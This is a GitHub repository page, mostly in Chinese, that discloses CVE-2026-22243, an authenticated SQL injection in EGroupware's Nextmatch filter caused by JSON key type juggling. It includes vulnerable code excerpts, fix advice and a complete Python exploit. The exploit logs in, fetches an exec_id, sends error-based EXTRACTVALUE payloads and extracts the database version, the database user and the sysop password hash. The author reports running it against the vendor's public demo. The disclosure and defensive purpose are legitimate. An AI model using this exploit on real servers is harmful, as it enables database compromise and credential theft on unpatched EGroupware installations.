lukasz-rybak/CVE-2026-22243

GitHub: lukasz-rybak/CVE-2026-22243

这是一个针对 EGroupware 软件 Nextmatch 过滤器 SQL 注入漏洞(CVE-2026-22243)的分析与利用代码库。

Stars: 0 | Forks: 0

# CVE-2026-22243: EGroupware 在 Nextmatch 过滤器处理中存在 SQL 注入 ## 概述 | 字段 | 详情 | |---|---| | **CVE ID** | [CVE-2026-22243](https://nvd.nist.gov/vuln/detail/CVE-2026-22243) | | **严重程度** | HIGH | | **安全公告** | [查看公告](https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx) | | **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) | ## 受影响产品 - **egroupware/egroupware** (版本: < 23.1.20260113) - **egroupware/egroupware** (版本: >= 26.0.20251208, < 26.0.20260113) ## CWE 分类 - CWE-89: SQL 命令中使用的特殊元素的不当中和 ('SQL Injection') ## 详情 ### 摘要 **Nextmatch 组件过滤器处理中的关键已认证 SQL 注入** EGroupware 的核心组件中存在一个严重的 SQL 注入漏洞,具体位于 `Nextmatch` 过滤器处理逻辑中。该漏洞允许已认证攻击者将任意 SQL 命令注入到数据库查询的 `WHERE` 子句中。这是通过利用一个 PHP 类型转换问题实现的,即 JSON 解码将数字字符串转换为整数,从而绕过了应用程序使用的 `is_int()` 安全检查。 ### 详情 **根本原因分析** 该漏洞存在于数据库抽象层 (`Api\Db`) 和高级存储类 (`Api\Storage\Base`, `infolog_so`) 处理 "Nextmatch" 组件中使用的 `col_filter` 数组的方式中。 应用程序尝试使用 `is_int($key)` 来验证输入,以确定数组键是否代表应该被信任的原始 SQL 片段。然而,在处理基于 JSON 的 POST 请求时,PHP 的 `json_decode` 会自动将数字字符串键(例如 `"0"`)转换为原生整数。 因此,攻击者可以发送一个包含数字键的关联数组的 JSON 负载。应用程序将这些键解释为整数(`is_int` 返回 true),并将包含恶意 SQL 的关联值盲目地直接追加到查询中。 **漏洞代码位置** 1. **文件:** `sources/egroupware/api/src/Db.php` (约 1776 行) 方法: `column_data_implode` ``` // In function column_data_implode elseif (is_int($key) && $use_key===True) { if (empty($data)) continue; // VULNERABLE: $data is appended directly to SQL without sanitization $values[] = $data; } ``` 2. **文件:** `sources/egroupware/api/src/Storage/Base.php` (约 1134 行) 方法: `parse_search` ``` // In function parse_search foreach($criteria as $col => $val) { // VULNERABLE: is_int() returns true for JSON keys like "0" if (is_int($col)) { $query[] = $val; } // ... } ``` ### 概念验证 我已经在本地 Docker 实例上验证了此漏洞,并在您的公共演示实例 ([demo.egroupware.net](http://demo.egroupware.net/)) 上进行了确认(只读)。 **自动化利用脚本:** 以下脚本自动化了登录、exec_id 提取以及通过基于错误的 SQL 注入进行数据窃取的过程。 ``` import requests import re import sys import urllib3 # 禁止 SSL 警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # CLI 配置 BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware" LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop" LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123" session = requests.Session() session.verify = False session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36" }) def extract_form_inputs(html): inputs = {} matches = re.findall(r']+>', html) for match in matches: name_m = re.search(r'name=["\']([^"\']+)["\']', match) value_m = re.search(r'value=["\']([^"\']*)["\']', match) if name_m: name = name_m.group(1) value = value_m.group(1) if value_m else "" inputs[name] = value return inputs def login(): print(f"[*] Target: {BASE_URL}") login_url = f"{BASE_URL}/login.php" try: print("[*] Retrieving login form...") r_get = session.get(login_url, timeout=10) data = extract_form_inputs(r_get.text) data.update({ "login": LOGIN_USER, "passwd": LOGIN_PASS, "submitit": "Login", "passwd_type": "text" }) if 'cancel' in data: del data['cancel'] print(f"[*] Attempting login as: {LOGIN_USER}...") r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15) if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text: print("[-] Login failed. Server returned login form.") return False print("[+] Login successful.") return True except Exception as e: print(f"[-] Critical error during login: {e}") return False def get_exec_id(): print("[*] Retrieving exec_id...") url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index" try: r = session.get(url, timeout=10) match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text) if match: eid = match.group(1) print(f"[+] ID found: {eid}") return eid else: if 'name="passwd"' in r.text: print("[-] Session expired or login failed.") else: print("[-] exec_id pattern not found in source code.") except Exception as e: print(f"[-] Error retrieving ID: {e}") return None def run_query(eid, sql): full = "" url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows" print(f"[*] Executing SQLi: {sql}") for offset in range(1, 201, 30): chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)" payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))" post_data = { "request": { "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}] } } try: r = session.post(url, json=post_data, timeout=10) match = re.search(r"XPATH syntax error: '~(.*)~'", r.text) if not match: match = re.search(r"~([^~]+)~", r.text) if match: chunk = match.group(1) if "..." in chunk: chunk = chunk.replace("...", "") full += chunk if len(chunk) < 1: break else: break except Exception as e: print(f"[-] Query error: {e}") break return full if full else "NO DATA / ERROR" if __name__ == "__main__": if login(): eid = get_exec_id() if eid: print("\n" + "="*40) print(" SQL INJECTION RESULTS ") print("="*40) print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}") print(f"[+] DB Name: {run_query(eid, 'SELECT database()')}") print(f"[+] DB User: {run_query(eid, 'SELECT user()')}") print("\n[*] Retrieving hash for 'sysop' user (if exists):") res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'") print(f" > {res}") print("="*40 + "\n") ``` **验证证明** 在 [demo.egroupware.net](http://demo.egroupware.net/) 上: 我针对您的公共演示环境执行了该脚本,以确认在生产类环境中(只读)的可利用性。 image **影响:** 拥有低权限访问权限的攻击者可以完全攻陷数据库。这允许进行: * **机密性丧失:** 读取敏感数据(例如密码哈希、会话令牌、个人联系人详细信息、配置机密)。 * **完整性丧失:** 修改或删除应用程序内的任意数据。 * **可用性丧失:** 潜在的删除表或破坏数据。 ### 修复建议 **1. 输入验证(白名单)** 在处理外部输入(尤其是键可以是数字字符串的 JSON 数据)时,不要仅依赖 `is_int()` 做出安全决策。为 `Nextmatch` 组件中的过滤实现一个严格的允许列名**白名单**。如果键/列不在白名单中,则拒绝该请求。 **2. 参数绑定** 确保所有过滤值都作为参数(预处理语句)进行绑定,而不是直接拼接 到 SQL 字符串中。 **3. 严格类型检查** 在处理 JSON 输入时,确保在用于 SQL 生成逻辑之前,对键进行严格检查以匹配预期类型(例如,使用 `===` 进行严格比较或使用 `filter_var`)。 ## 参考资料 - https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx - https://nvd.nist.gov/vuln/detail/CVE-2026-22243 - https://github.com/EGroupware/egroupware/releases/tag/23.1.20260113 - https://github.com/EGroupware/egroupware/releases/tag/26.0.20260113 - https://github.com/advisories/GHSA-rvxj-7f72-mhrx ## 免责声明 此 CVE 是按照协调漏洞披露实践负责任地披露的。此处提供的信息仅供教育和防御用途。
标签:API密钥检测, CISA项目, CVE-2026-22243, CWE-89, EGroupware, Homebrew安装, JSON解码, Nextmatch组件, PHP漏洞, PNNL实验室, Type Juggling, Web安全, WHERE子句注入, 多线程, 安全漏洞, 权限绕过, 漏洞分析, 编程工具, 网络安全, 蓝队分析, 路径探测, 输入验证, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞